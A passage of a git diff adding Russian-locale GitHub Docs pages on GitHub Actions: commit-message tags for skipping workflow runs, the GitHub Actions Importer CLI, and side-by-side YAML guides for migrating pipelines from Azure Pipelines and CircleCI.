32808741dc6de5aacd79f51c9ba098324a3ee57c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146199973' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% note %} + +**Примечание.** Если рабочий процесс пропускается из-за [фильтрации путей](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [фильтрации ветвей](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) или сообщения фиксации (см. ниже), проверки, связанные с этим рабочим процессом, останутся в состоянии ожидания. Запрос на вытягивание, требующий успешной проверки, будет заблокирован для слияния. + +{% endnote %} + +Рабочие процессы, которые в противном случае будут активированы с помощью `on: push` или `on: pull_request`, не будут активированы при добавлении любой из следующих строк в сообщение фиксации при принудительной отправке или фиксации HEAD для запроса на вытягивание: + +* `[skip ci]` +* `[ci skip]` +* `[no ci]` +* `[skip actions]` +* `[actions skip]` + +Кроме того, можно завершить сообщение фиксации двумя пустыми строками, за которыми следует один из двух вариантов: +- `skip-checks:true` +- `skip-checks: true` + +Вы не сможете объединить запрос на вытягивание, если в репозитории настроено требование выполнять определенные проверки. Чтобы разрешить объединение запроса на вытягивание, можно отправить новую фиксацию в запрос на вытягивание без инструкции пропуска в сообщении фиксации. + +{% note %} + +**Примечание.** Инструкции пропуска применяются только к событиям `push` и `pull_request`. Например, добавление `[skip ci]` в сообщение фиксации не приведет к остановке запуска рабочего процесса, активировавшего `on: pull_request_target`. + +{% endnote %} + +Инструкции пропуска применяются только к запускам рабочего процесса, которые будут активированы фиксацией, содержащей инструкции пропуска. Вы также можете отключить запуск рабочего процесса. Дополнительные сведения см. в статье "[Отключение и включение рабочего процесса](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)". diff --git a/translations/ru-RU/content/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer.md b/translations/ru-RU/content/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer.md new file mode 100644 index 000000000000..9ef8bc448b39 --- /dev/null +++ b/translations/ru-RU/content/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer.md @@ -0,0 +1,240 @@ +--- +title: Automating migration with GitHub Actions Importer +intro: 'Use {% data variables.product.prodname_actions_importer %} to plan and automate your migration to {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +miniTocMaxHeadingLevel: 3 +topics: + - Migration + - CI + - CD +shortTitle: Automate migration with {% data variables.product.prodname_actions_importer %} +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +[Legal notice](#legal-notice) + +{% note %} + +**Note**: {% data variables.product.prodname_actions_importer %} is currently available as a public preview. Visit the [sign up page](https://github.com/features/actions-importer/signup) to request access to the preview. Once you are granted access you'll be able to use the `gh-actions-importer` CLI extension + +{% endnote %} + +## About {% data variables.product.prodname_actions_importer %} + +You can use {% data variables.product.prodname_actions_importer %} to plan and automatically migrate your CI/CD pipelines to {% data variables.product.prodname_actions %} from Azure DevOps, CircleCI, GitLab, Jenkins, and Travis CI. + +{% data variables.product.prodname_actions_importer %} is distributed as a Docker container, and uses a [{% data variables.product.prodname_dotcom %} CLI](https://cli.github.com) extension to interact with the container. + +Any workflow that is converted by the {% data variables.product.prodname_actions_importer %} should be inspected for correctness before using it as a production workload. The goal is to achieve an 80% conversion rate for every workflow, however, the actual conversion rate will depend on the makeup of each individual pipeline that is converted. + +## Supported CI platforms + +You can use {% data variables.product.prodname_actions_importer %} to migrate from the following platforms: + +- Azure DevOps +- CircleCI +- GitLab +- Jenkins +- Travis CI + +Once you are granted access to the preview, you will be able to access further reference documentation for each of the supported platforms. + +## Prerequisites + +{% data variables.product.prodname_actions_importer %} has the following requirements: + +- You must have been granted access to the public preview for the {% data variables.product.prodname_actions_importer %}. +{%- ifversion ghes < 3.5 or ghae %} +- Use a {% data variables.product.pat_generic %} with the `read:packages` scope enabled. +{%- else %} +- You must have credentials to authenticate to the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}. For more information, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#authenticating-to-the-container-registry)." +{% endif %} +- An environment where you can run Linux-based containers, and can install the necessary tools. + - Docker is [installed](https://docs.docker.com/get-docker/) and running. + - [{% data variables.product.prodname_dotcom %} CLI](https://cli.github.com) is installed. + + {% note %} + + **Note**: The {% data variables.product.prodname_actions_importer %} container and CLI do not need to be installed on the same server as your CI platform. + + {% endnote %} + +### Installing the {% data variables.product.prodname_actions_importer %} CLI extension + +1. Install the {% data variables.product.prodname_actions_importer %} CLI extension: + + ```bash + $ gh extension install github/gh-actions-importer + ``` +1. Verify that the extension is installed: + + ```bash + $ gh actions-importer -h + Options: + -?, -h, --help Show help and usage information + + Commands: + update Update to the latest version of the GitHub Actions Importer. + version Display the version of the GitHub Actions Importer. + configure Start an interactive prompt to configure credentials used to authenticate with your CI server(s). + audit Plan your CI/CD migration by analyzing your current CI/CD footprint. + forecast Forecast GitHub Actions usage from historical pipeline utilization. + dry-run Convert a pipeline to a GitHub Actions workflow and output its yaml file. + migrate Convert a pipeline to a GitHub Actions workflow and open a pull request with the changes. + ``` + +### Updating the {% data variables.product.prodname_actions_importer %} CLI + +To ensure you're running the latest version of {% data variables.product.prodname_actions_importer %}, you should regularly run the `update` command: + +```bash +$ gh actions-importer update +``` + +You must be authenticated with the {% data variables.product.prodname_container_registry %} for this command to be successful. Alternatively, you can provide credentials using the `--username` and `--password-stdin` parameters: + +```bash +$ echo $GITHUB_TOKEN | gh actions-importer update --username $GITHUB_HANDLE --password-stdin +``` + +### Authenticating at the command line + +You must configure credentials that allow {% data variables.product.prodname_actions_importer %} to communicate with {% data variables.product.prodname_dotcom %} and your current CI server. You can configure these credentials using environment variables or a `.env.local` file. The environment variables can be configured in an interactive prompt, by running the following command: + +```bash +$ gh actions-importer configure +``` + +Once you are granted access to the preview, you will be able to access further reference documentation about using environment variables. + +## Using the {% data variables.product.prodname_actions_importer %} CLI + +Use the subcommands of `gh actions-importer` to begin your migration to {% data variables.product.prodname_actions %}, including `audit`, `forecast`, `dry-run`, and `migrate`. + +### Auditing your existing CI pipelines + +The `audit` subcommand can be used to plan your CI/CD migration by analyzing your current CI/CD footprint. This analysis can be used to plan a timeline for migrating to {% data variables.product.prodname_actions %}. + +To run an audit, use the following command to determine your available options: + +```bash +$ gh actions-importer audit -h +Description: + Plan your CI/CD migration by analyzing your current CI/CD footprint. + +[...] + +Commands: + azure-devops An audit will output a list of data used in an Azure DevOps instance. + circle-ci An audit will output a list of data used in a CircleCI instance. + gitlab An audit will output a list of data used in a GitLab instance. + jenkins An audit will output a list of data used in a Jenkins instance. + travis-ci An audit will output a list of data used in a Travis CI instance. +``` + +Once you are granted access to the preview, you will be able to access further reference documentation about running an audit. + +### Forecasting usage + +The `forecast` subcommand reviews historical pipeline usage to create a forecast of {% data variables.product.prodname_actions %} usage. + +To run a forecast, use the following command to determine your available options: + +```bash +$ gh actions-importer forecast -h +Description: + Forecasts GitHub Actions usage from historical pipeline utilization. + +[...] + +Commands: + azure-devops Forecasts GitHub Actions usage from historical Azure DevOps pipeline utilization. + jenkins Forecasts GitHub Actions usage from historical Jenkins pipeline utilization. + gitlab Forecasts GitHub Actions usage from historical GitLab pipeline utilization. + circle-ci Forecasts GitHub Actions usage from historical CircleCI pipeline utilization. + travis-ci Forecasts GitHub Actions usage from historical Travis CI pipeline utilization. + github Forecasts GitHub Actions usage from historical GitHub pipeline utilization. +``` + +Once you are granted access to the preview, you will be able to access further reference documentation about running a forecast. + +### Testing the migration process + +The `dry-run` subcommand can be used to convert a pipeline to its {% data variables.product.prodname_actions %} equivalent, and then write the workflow to your local filesystem. + +To perform a dry run, use the following command to determine your available options: + +```bash +$ gh actions-importer dry-run -h +Description: + Convert a pipeline to a GitHub Actions workflow and output its yaml file. + +[...] + +Commands: + azure-devops Convert an Azure DevOps pipeline to a GitHub Actions workflow and output its yaml file. + circle-ci Convert a CircleCI pipeline to GitHub Actions workflows and output the yaml file(s). + gitlab Convert a GitLab pipeline to a GitHub Actions workflow and output the yaml file. + jenkins Convert a Jenkins job to a GitHub Actions workflow and output its yaml file. + travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and output its yaml file. +``` + +Once you are granted access to the preview, you will be able to access further reference documentation about performing a dry run. + +### Migrating a pipeline to {% data variables.product.prodname_actions %} + +The `migrate` subcommand can be used to convert a pipeline to its GitHub Actions equivalent and then create a pull request with the contents. + +To run a migration, use the following command to determine your available options: + +```bash +$ gh actions-importer migrate -h +Description: + Convert a pipeline to a GitHub Actions workflow and open a pull request with the changes. + +[...] + +Commands: + azure-devops Convert an Azure DevOps pipeline to a GitHub Actions workflow and open a pull request with the changes. + circle-ci Convert a CircleCI pipeline to GitHub Actions workflows and open a pull request with the changes. + gitlab Convert a GitLab pipeline to a GitHub Actions workflow and open a pull request with the changes. + jenkins Convert a Jenkins job to a GitHub Actions workflow and open a pull request with the changes. + travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and and open a pull request with the changes. +``` + +Once you are granted access to the preview, you will be able to access further reference documentation about running a migration. + +## Legal notice + +Portions have been adapted from https://github.com/github/gh-actions-importer/ under the MIT license: + +``` +MIT License + +Copyright (c) 2022 GitHub + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +``` diff --git a/translations/ru-RU/content/actions/migrating-to-github-actions/index.md b/translations/ru-RU/content/actions/migrating-to-github-actions/index.md new file mode 100644 index 000000000000..573ec87ace55 --- /dev/null +++ b/translations/ru-RU/content/actions/migrating-to-github-actions/index.md @@ -0,0 +1,27 @@ +--- +title: Переход на GitHub Actions +shortTitle: Migrate to GitHub Actions +intro: 'Узнайте, как перенести существующие рабочие процессы CI/CD в {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /actions/migrating-to-github-actions + - /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax +children: + - /automating-migration-with-github-actions-importer + - /migrating-from-azure-pipelines-to-github-actions + - /migrating-from-circleci-to-github-actions + - /migrating-from-gitlab-cicd-to-github-actions + - /migrating-from-jenkins-to-github-actions + - /migrating-from-travis-ci-to-github-actions +ms.openlocfilehash: b3964e3e477a61052b241dfb3d2d02ebecbf96c5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158936' +--- + diff --git a/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md new file mode 100644 index 000000000000..70d91514c49e --- /dev/null +++ b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md @@ -0,0 +1,339 @@ +--- +title: Миграция с Azure Pipelines на GitHub Actions +intro: '{% data variables.product.prodname_actions %} и Azure Pipelines имеют несколько сходств в конфигурации, что делает миграцию на {% data variables.product.prodname_actions %} относительно простой.' +redirect_from: + - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Azure Pipelines + - Migration + - CI + - CD +shortTitle: Migrate from Azure Pipelines +ms.openlocfilehash: 5890afb4c0f0e8eae6b5981a39e68f272bff7440 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145121307' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +Azure Pipelines и {% data variables.product.prodname_actions %} позволяют создавать рабочие процессы, которые автоматически выполняют сборку, тестирование, публикацию, выпуск и развертывание кода. Azure Pipelines и {% data variables.product.prodname_actions %} используют некоторые сходства в конфигурации рабочего процесса. + +- Файлы конфигурации рабочего процесса записываются в YAML и хранятся в репозитории кода. +- В рабочем процессе может быть одно или несколько заданий. +- Задания включают один или несколько шагов или отдельных команд. +- Шаги или задачи можно повторно использовать и предоставлять сообществу. + +Дополнительные сведения см. в разделе [Основные понятия {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions). + +## Основные различия + +При миграции с Azure Pipelines необходимо учитывать следующие различия. + +- Azure Pipelines поддерживает устаревший _классический редактор_, который позволяет определить конфигурацию CI в редакторе графического пользовательского интерфейса вместо создания определения конвейера в файле YAML. {% data variables.product.prodname_actions %} использует файлы YAML для определения рабочих процессов и не поддерживает графический редактор. +- Azure Pipelines позволяет пропускать некоторые структуры в определениях заданий. Например, если у вас есть только одно задание, вам не нужно определять само задание, достаточно определить его шаги. {% data variables.product.prodname_actions %} требует явной настройки, и в структуре YAML нельзя делать пропуски. +- Azure Pipelines поддерживает _этапы_, определенные в файле YAML, которые можно использовать для создания рабочих процессов развертывания. {% data variables.product.prodname_actions %} требует разделять этапы на отдельные файлы рабочих процессов YAML. +- Локальные агенты сборки Azure Pipelines можно выбирать с определенными возможностями. Локальные средства выполнения {% data variables.product.prodname_actions %} можно выбирать с определенными метками. + +## Миграция заданий и шагов + +Задания и шаги в Azure Pipelines очень похожи на задания и шаги в {% data variables.product.prodname_actions %}. В обеих системах задания имеют следующие характеристики. + +* Задания содержат ряд шагов, которые выполняются последовательно. +* Задания выполняются на отдельных виртуальных машинах или в отдельных контейнерах. +* По умолчанию задания выполняются параллельно, но можно настроить их последовательное выполнение. + +## Миграция шагов скрипта + +Скрипт или команду оболочки можно выполнять как шаг рабочего процесса. В Azure Pipelines шаги скрипта можно указать с помощью ключа `script` или с использованием ключей `bash`, `powershell` или `pwsh`. Скрипты также можно указать в качестве входных данных [задачи Bash](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) или [задачи PowerShell](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops). + +В {% data variables.product.prodname_actions %} все скрипты указываются с помощью ключа `run`. Чтобы выбрать конкретную оболочку, можно указать ключ `shell` при предоставлении скрипта. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun). + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+Azure Pipelines + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +jobs: + - job: scripts + pool: + vmImage: 'windows-latest' + steps: + - script: echo "This step runs in the default shell" + - bash: echo "This step runs in bash" + - pwsh: Write-Host "This step runs in PowerShell Core" + - task: PowerShell@2 + inputs: + script: Write-Host "This step runs in PowerShell" +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + scripts: + runs-on: windows-latest + steps: + - run: echo "This step runs in the default shell" + - run: echo "This step runs in bash" + shell: bash + - run: Write-Host "This step runs in PowerShell Core" + shell: pwsh + - run: Write-Host "This step runs in PowerShell" + shell: powershell +``` +{% endraw %} +
+ +## Различия в обработке ошибок скрипта + +В Azure Pipelines скрипты можно настроить так, чтобы они выдавали ошибку, если какие-либо выходные данные отправляются в `stderr`. {% data variables.product.prodname_actions %} не поддерживает эту конфигурацию. + +{% data variables.product.prodname_actions %} настраивает оболочки для "завершения работы при первой ошибке", когда это возможно, поэтому если одна из команд в скрипте завершает работу с кодом ошибки, это приводит к немедленной остановке скрипта. В отличие от этого, в Azure Pipelines необходима явная настройка для немедленного выхода при ошибке. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference). + +## Различия в оболочке по умолчанию в Windows + +В Azure Pipelines оболочкой по умолчанию для скриптов на платформах Windows платформах является командная оболочка (_cmd.exe_). В {% data variables.product.prodname_actions %}оболочкой по умолчанию для скриптов на платформах Windows является PowerShell. PowerShell имеет некоторые различия во встроенных командах, расширении переменных и управлении потоком. + +Если вы выполняете простую команду, то можете запустить скрипт командной оболочки в PowerShell без каких-либо изменений. Но в большинстве случаев вам потребуется обновить скрипт с учетом синтаксиса PowerShell или указать {% data variables.product.prodname_actions %}, что скрипт следует запускать с помощью командной оболочки вместо PowerShell. Это можно сделать, задав для `shell` значение `cmd`. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+Azure Pipelines + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +jobs: + - job: run_command + pool: + vmImage: 'windows-latest' + steps: + - script: echo "This step runs in CMD on Windows by default" +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + run_command: + runs-on: windows-latest + steps: + - run: echo "This step runs in PowerShell on Windows by default" + - run: echo "This step runs in CMD on Windows explicitly" + shell: cmd +``` +{% endraw %} +
+ +Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell). + +## Миграция условных выражений и синтаксис выражений + +Azure Pipelines и {% data variables.product.prodname_actions %} могут выполнять шаги условно. В Azure Pipelines условные выражения задаются с помощью ключа `condition`. В {% data variables.product.prodname_actions %}условные выражения задаются с помощью ключа `if`. + +Azure Pipelines использует функции в выражениях для условного выполнения шагов. В отличие от этого, {% data variables.product.prodname_actions %} использует нотацию infix. Например, необходимо заменить функцию `eq` в Azure Pipelines оператором `==` в {% data variables.product.prodname_actions %}. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+Azure Pipelines + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +jobs: + - job: conditional + pool: + vmImage: 'ubuntu-latest' + steps: + - script: echo "This step runs with str equals 'ABC' and num equals 123" + condition: and(eq(variables.str, 'ABC'), eq(variables.num, 123)) +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + conditional: + runs-on: ubuntu-latest + steps: + - run: echo "This step runs with str equals 'ABC' and num equals 123" + if: ${{ env.str == 'ABC' && env.num == 123 }} +``` +{% endraw %} +
+ +Дополнительные сведения см. в разделе [Выражения](/actions/learn-github-actions/expressions). + +## Зависимости между заданиями + +И Azure Pipelines, и {% data variables.product.prodname_actions %} позволяют задавать зависимости для задания. В обеих системах задания по умолчанию выполняются параллельно, но зависимости заданий можно указывать явным образом. В Azure Pipelines это делается с помощью ключа `dependsOn`. В {% data variables.product.prodname_actions %}это делается с помощью ключа `needs`. + +Ниже приведен пример синтаксиса для каждой системы. Рабочие процессы запускают первое задание с именем `initial`, и после завершения этого задания будут выполняться два задания с именами `fanout1` и `fanout2`. И наконец, после завершения этих заданий, будет выполняться задание `fanin`. + + + + + + + + + + +
+Azure Pipelines + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +jobs: + - job: initial + pool: + vmImage: 'ubuntu-latest' + steps: + - script: echo "This job will be run first." + - job: fanout1 + pool: + vmImage: 'ubuntu-latest' + dependsOn: initial + steps: + - script: echo "This job will run after the initial job, in parallel with fanout2." + - job: fanout2 + pool: + vmImage: 'ubuntu-latest' + dependsOn: initial + steps: + - script: echo "This job will run after the initial job, in parallel with fanout1." + - job: fanin: + pool: + vmImage: 'ubuntu-latest' + dependsOn: [fanout1, fanout2] + steps: + - script: echo "This job will run after fanout1 and fanout2 have finished." +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + initial: + runs-on: ubuntu-latest + steps: + - run: echo "This job will be run first." + fanout1: + runs-on: ubuntu-latest + needs: initial + steps: + - run: echo "This job will run after the initial job, in parallel with fanout2." + fanout2: + runs-on: ubuntu-latest + needs: initial + steps: + - run: echo "This job will run after the initial job, in parallel with fanout1." + fanin: + runs-on: ubuntu-latest + needs: [fanout1, fanout2] + steps: + - run: echo "This job will run after fanout1 and fanout2 have finished." +``` +{% endraw %} +
+ +Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds). + +## Миграция задач в действия + +Azure Pipelines использует _задачи_, являющиеся компонентами приложения, которые можно повторно использовать в нескольких рабочих процессах. {% data variables.product.prodname_actions %} использует _действия_, которые можно использовать для выполнения задач и настройки рабочего процесса. В обеих системах можно указать имя задачи или действия для выполнения, а также все необходимые входные данные в виде пар "ключ-значение". + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+Azure Pipelines + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +jobs: + - job: run_python + pool: + vmImage: 'ubuntu-latest' + steps: + - task: UsePythonVersion@0 + inputs: + versionSpec: '3.7' + architecture: 'x64' + - script: python script.py +``` +{% endraw %} + + +```yaml +jobs: + run_python: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.7' + architecture: 'x64' + - run: python script.py +``` + +
+ +Вы можете найти действия для использования в рабочих процессах в [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) или создать свои собственные действия. Дополнительные сведения см. в статье "[Создание действий](/actions/creating-actions)". diff --git a/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md new file mode 100644 index 000000000000..5c8cd2f01fe0 --- /dev/null +++ b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md @@ -0,0 +1,422 @@ +--- +title: Миграция с CircleCI на GitHub Actions +intro: 'Конфигурация GitHub Actions и CircleCI имеет некоторые сходства, что делает миграцию GitHub Actions относительно простой.' +redirect_from: + - /actions/learn-github-actions/migrating-from-circleci-to-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CircleCI + - Migration + - CI + - CD +shortTitle: Migrate from CircleCI +ms.openlocfilehash: d3f7a527f21588ec2bd60e04639a861c35b12b7f +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147518971' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +CircleCI и {% data variables.product.prodname_actions %} позволяют создавать рабочие процессы, которые автоматически выполняют сборку, тестирование, публикацию, выпуск и развертывание кода. CircleCI и {% data variables.product.prodname_actions %} используют некоторые сходства в конфигурации рабочего процесса. + +- Файлы конфигурации рабочего процесса записываются в YAML и хранятся в репозитории. +- В рабочем процессе может быть одно или несколько заданий. +- Задания включают один или несколько шагов или отдельных команд. +- Шаги или задачи можно повторно использовать и предоставлять сообществу. + +Дополнительные сведения см. в разделе [Основные понятия {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions). + +## Основные различия + +При миграции с CircleCI необходимо учитывать следующие различия. + +- Автоматический параллелизм тестов в CircleCI автоматически группирует тесты в соответствии с заданными пользователем правилами или историческими сведениями о времени. Эта функциональность не встроена в {% data variables.product.prodname_actions %}. +- Действия, выполняемые в контейнерах Docker, чувствительны к проблемам с разрешениями, так как в контейнерах используется другое сопоставление пользователей. Многих из этих проблем можно избежать, не используя инструкцию `USER` в *Dockerfile*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %}Дополнительные сведения о файловой системе Docker в средствах выполнения, размещенных в {% data variables.product.product_name %}, см. в разделе [Средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem). +{% endif %} + +## Миграция рабочих процессов и заданий + +CircleCI определяет `workflows` в файле *config.yml*, что позволяет настроить несколько рабочих процессов. В {% data variables.product.product_name %} требуется по одному файлу рабочего процесса для каждого рабочего процесса, и, как следствие, не требуется объявление `workflows`. Вам нужно будет создать по новому файлу рабочего процесса для каждого рабочего процесса, настроенного в файле *config.yml*. + +Как CircleCI, так и {% data variables.product.prodname_actions %} настраивают `jobs` в файле конфигурации с использованием аналогичного синтаксиса. При настройке зависимостей между заданиями с помощью `requires` в рабочем процессе CircleCI вы можете использовать эквивалентный синтаксис `needs` {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds). + +## Перенос orbs в действия + +И CircleCI, и {% data variables.product.prodname_actions %} предоставляют механизм повторного использования и совместного использования задач в рабочем процессе. CircleCI использует концепцию с именем orbs, написанную в YAML, для предоставления задач, которые пользователи могут повторно использовать в рабочем процессе. {% data variables.product.prodname_actions %} имеет мощные и гибкие многократно используемые компоненты, называемые действиями, которые создаются с помощью файлов JavaScript или образов Docker. Вы можете создавать действия путем написания специального кода, взаимодействующего с репозиторием любым желательным вам способом, включая интеграцию с API {% data variables.product.product_name %} и любым общедоступным сторонним API. Например, действие может публиковать модули NPM, отправлять SMS-оповещения при возникновении неотложных проблем или развертывать готовый код. Дополнительные сведения см. в статье "[Создание действий](/actions/creating-actions)". + +CircleCI может повторно использовать фрагменты рабочих процессов с привязками и псевдонимами YAML. {% data variables.product.prodname_actions %} поддерживает наиболее распространенную потребность в повторном использовании с помощью матриц. Дополнительные сведения о матрицах см. в разделе [Использование матрицы для заданий](/actions/using-jobs/using-a-matrix-for-your-jobs). + +## Использование образов Docker + + +И CircleCI, и {% data variables.product.prodname_actions %} поддерживают выполнение шагов внутри образа Docker. + +CircleCI предоставляет набор предварительно созданных образов с общими зависимостями. В этих образах `USER` настроен как `circleci`, что приводит к конфликту разрешений с {% data variables.product.prodname_actions %}. + +Рекомендуется отказаться от предварительно созданных образов CircleCI при миграции на {% data variables.product.prodname_actions %}. Во многих случаях вы можете использовать действия для установки необходимых дополнительных зависимостей. + +{% ifversion ghae %} Дополнительные сведения о файловой системе Docker см. в разделе [Файловая система контейнера Docker](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem). + +{% data reusables.actions.self-hosted-runners-software %} {% else %} Дополнительные сведения о файловой системе Docker см. в разделе [Средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem). + +Дополнительные сведения об инструментах и пакетах, доступных в образах средств выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}, см. в разделе [Спецификации для средств выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +## Использование переменных и секретов + +CircleCI и {% data variables.product.prodname_actions %} поддерживают настройку переменных среды в файле конфигурации и создание секретов с помощью пользовательского интерфейса CircleCI или {% data variables.product.product_name %}. + +Дополнительные сведения см. в разделах [Использование переменных среды](/actions/configuring-and-managing-workflows/using-environment-variables) и [Создание и использование зашифрованных секретов](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets). + +## Кэширование + +CircleCI и {% data variables.product.prodname_actions %} предоставляют метод для ручного кэширования файлов в файле конфигурации. + +{% ifversion actions-caching %} + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+CircleCI + +Действия GitHub +
+{% raw %} +```yaml +- restore_cache: + keys: + - v1-npm-deps-{{ checksum "package-lock.json" }} + - v1-npm-deps- +``` +{% endraw %} + + +```yaml +- name: Cache node modules + uses: {% data reusables.actions.action-cache %} + with: + path: ~/.npm + key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %} + restore-keys: v1-npm-deps- +``` + +
+ +{% else %} + +{% data reusables.actions.caching-availability %} + +{% endif %} + +В {% data variables.product.prodname_actions %} отсутствует эквивалент кэширования уровня Docker (или DLC) CircleCI. + +## Сохранение данных между заданиями + +И CircleCI, и {% data variables.product.prodname_actions %} предоставляют механизмы сохранения данных между заданиями. + +Ниже приведен пример синтаксиса конфигурации в CircleCI и {% data variables.product.prodname_actions %}. + + + + + + + + + + +
+CircleCI + +Действия GitHub +
+{% raw %} +```yaml +- persist_to_workspace: + root: workspace + paths: + - math-homework.txt + +... + +- attach_workspace: at: /tmp/workspace +``` +{% endraw %} + + +```yaml +- name: Upload math result for job 1 + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: homework + path: math-homework.txt + +... + +- name: Download math result for job 1 + uses: {% data reusables.actions.action-download-artifact %} + with: + name: homework +``` + +
